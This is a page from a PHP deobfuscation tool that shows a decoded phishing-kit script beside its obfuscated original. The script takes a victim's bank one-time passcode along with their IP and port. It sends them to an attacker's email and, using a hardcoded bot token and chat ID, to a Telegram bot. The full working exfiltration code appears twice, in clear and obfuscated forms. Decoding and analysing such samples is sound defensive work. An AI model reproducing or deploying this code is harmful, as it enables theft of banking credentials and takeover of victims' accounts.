Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto CBv1m; CBv1m: session_start(); goto g4B5N; g4B5N: if (empty($_POST["\x6f\x74\..
Decoded Output download
<?php
goto CBv1m; CBv1m: session_start(); goto g4B5N; g4B5N: if (empty($_POST["otp2"])) { $nameErr = " "; } elseif (strlen($_POST["otp2"]) > 6) { $nameErr = " "; } elseif (strlen($_POST["otp2"]) < 6) { $nameErr = " "; } else { $bnk = $_SESSION["bnk"]; $otp2 = $_POST["otp2"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $message = "==================+[ " . $bnk . " Result ]+==================
"; $message .= "otp2 : " . $otp2 . "\xa"; $message .= "Client IP : " . $ip . "
"; $message .= "Port : " . $port . "\xa"; $message .= "=============+ [ Created by OmeGaLorD ] +=============\xa"; $send = "[email protected]"; $subject = "Det {$ip}"; $headers .= "X-Mailer: PHP v" . phpversion() . "\xd\xa"; mail($send, $subject, $message, $headers); $botToken = "7140562192:AAEz4udCE1b1HONTBf-GEH5C2FMwAP7Pq2o"; $chatId = "1612411723"; $message = "otp2: {$otp2}
Client ip: {$ip}
=============+ [ Created by OmeGaLorD ] +============="; $url = "https://api.telegram.org/bot{$botToken}/sendMessage"; $data = array("chat_id" => $chatId, "text" => $message); $options = array(CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false); $curl = curl_init(); curl_setopt_array($curl, $options); $response = curl_exec($curl); curl_close($curl); echo $response; } goto nnbOX; nnbOX: ?>
Did this file decode correctly?
Original Code
<?php
goto CBv1m; CBv1m: session_start(); goto g4B5N; g4B5N: if (empty($_POST["\x6f\x74\x70\62"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\157\164\x70\x32"]) > 6) { $nameErr = "\x20"; } elseif (strlen($_POST["\x6f\164\x70\x32"]) < 6) { $nameErr = "\40"; } else { $bnk = $_SESSION["\x62\x6e\153"]; $otp2 = $_POST["\157\x74\x70\x32"]; $ip = getenv("\x52\105\x4d\117\124\x45\137\x41\104\104\x52"); $port = $_SERVER["\x52\x45\x4d\117\124\x45\x5f\120\117\122\124"]; $hostname = gethostbyaddr($ip); $message = "\x3d\x3d\75\75\x3d\75\x3d\x3d\x3d\x3d\75\75\x3d\x3d\75\x3d\x3d\75\x2b\x5b\x20" . $bnk . "\x20\122\145\x73\165\x6c\x74\x20\135\53\75\75\75\75\x3d\75\75\75\x3d\x3d\x3d\75\75\75\75\x3d\x3d\75\12"; $message .= "\157\x74\x70\x32\40\x20\x3a\x20" . $otp2 . "\xa"; $message .= "\x43\154\151\x65\x6e\164\40\x49\x50\x20\72\40" . $ip . "\12"; $message .= "\x50\157\x72\x74\40\72\x20" . $port . "\xa"; $message .= "\x3d\75\x3d\75\75\75\75\75\75\x3d\x3d\x3d\75\x2b\40\x5b\x20\103\x72\145\x61\164\x65\144\x20\142\171\x20\x4f\x6d\145\107\x61\x4c\157\162\x44\x20\x5d\x20\x2b\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x3d\75\75\x3d\75\xa"; $send = "\x6d\162\154\x69\165\152\165\156\64\x38\100\147\x6d\141\x69\x6c\x2e\143\x6f\x6d"; $subject = "\104\x65\x74\x20{$ip}"; $headers .= "\x58\55\115\141\151\x6c\145\162\72\x20\120\110\x50\x20\x76" . phpversion() . "\xd\xa"; mail($send, $subject, $message, $headers); $botToken = "\x37\61\64\60\x35\66\x32\61\71\62\x3a\x41\101\105\172\x34\165\x64\x43\105\61\142\x31\x48\117\x4e\124\102\x66\x2d\107\x45\x48\x35\x43\62\106\115\167\101\120\x37\x50\x71\62\x6f"; $chatId = "\x31\x36\61\62\64\x31\61\x37\62\x33"; $message = "\x6f\x74\160\62\x3a\x20{$otp2}\12\103\x6c\x69\x65\156\164\40\x69\160\72\40{$ip}\12\x3d\75\75\x3d\x3d\75\x3d\x3d\x3d\75\75\x3d\x3d\x2b\x20\x5b\40\103\x72\x65\141\x74\x65\144\x20\x62\171\40\117\x6d\145\x47\141\x4c\157\162\x44\x20\x5d\40\53\75\75\x3d\75\75\75\75\x3d\75\75\75\x3d\75"; $url = "\150\x74\164\x70\163\x3a\x2f\x2f\141\160\151\56\x74\145\x6c\145\147\162\x61\x6d\56\157\162\147\57\142\157\164{$botToken}\57\163\x65\x6e\x64\115\145\x73\163\x61\x67\145"; $data = array("\x63\x68\x61\x74\137\151\x64" => $chatId, "\x74\145\x78\x74" => $message); $options = array(CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false); $curl = curl_init(); curl_setopt_array($curl, $options); $response = curl_exec($curl); curl_close($curl); echo $response; } goto nnbOX; nnbOX: ?>
Function Calls
None |
Stats
MD5 | e8228b9943fb79a2e6454c108adaadf5 |
Eval Count | 0 |
Decode Time | 45 ms |